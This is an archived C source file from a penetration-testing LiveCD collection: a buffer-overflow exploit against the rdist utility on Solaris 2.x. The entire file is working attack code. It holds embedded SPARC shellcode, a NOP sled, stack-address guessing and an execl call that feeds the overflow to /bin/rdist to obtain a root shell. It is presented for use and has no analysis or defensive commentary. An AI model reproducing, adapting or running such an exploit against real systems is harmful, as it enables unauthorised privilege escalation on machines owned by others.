home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
system
/
solaris
/
local
/
t4.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
3KB
|
105 lines
/* rdist solaris 2.* sploit */
/* by horizon. thanks to ktwo */
/* argv[1] is your offset */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 1024
#define SAFETY 40 /* blind guess */
#define EXTRA 400
#define STACK_OFFSET 2360
#define SAFETY_OFFSET 248
#define SPARC_NOP 0xac15a16e
u_char sparc_shellcode[] =
"\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08";
int addr_ok(long a)
{
if (((a>>24)&255)==0) return 0;
if (((a>>16)&255)==0) return 0;
if (((a>>8)&255)==0) return 0;
if (((a)&255)==0) return 0;
return 1;
}
u_long get_safe_addr(long sp)
{
return sp-SAFETY_OFFSET;
}
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
int main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
char tempbuf[BUF_LENGTH + EXTRA + 8+6];
long stack,targ_addr,safe_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;
if(argc > 1) dso=atoi(argv[1]);
stack=get_sp();
safe_addr=get_safe_addr(stack);
while(addr_ok(safe_addr)==0) safe_addr+=8;
targ_addr = stack + STACK_OFFSET - dso;
while(addr_ok(targ_addr)==0) targ_addr+=8;
long_p =(u_long *) buf ;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
*char_p++=' ';
*char_p++=' ';
for (i = 0; i < SAFETY /4; i++)
{
*char_p++ =(safe_addr>>24)&255;
*char_p++ =(safe_addr>>16)&255;
*char_p++ =(safe_addr>>8)&255;
*char_p++ =(safe_addr)&255;
}
for (i = 0; i < (EXTRA-SAFETY) /4; i++)
{
*char_p++ =(targ_addr>>24)&255;
*char_p++ =(targ_addr>>16)&255;
*char_p++ =(targ_addr>>8)&255;
*char_p++ =(targ_addr)&255;
}
*char_p++=0;
sprintf(tempbuf,"bleh=%s",&buf[2]);
printf("Stack address: 0x%lx. Safe address: 0x%lx (delta %d).\n",
stack,safe_addr,stack-safe_addr);
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${bleh}",(char *) 0);
perror("execl failed");
}
/* www.hack.co.za [2000]*/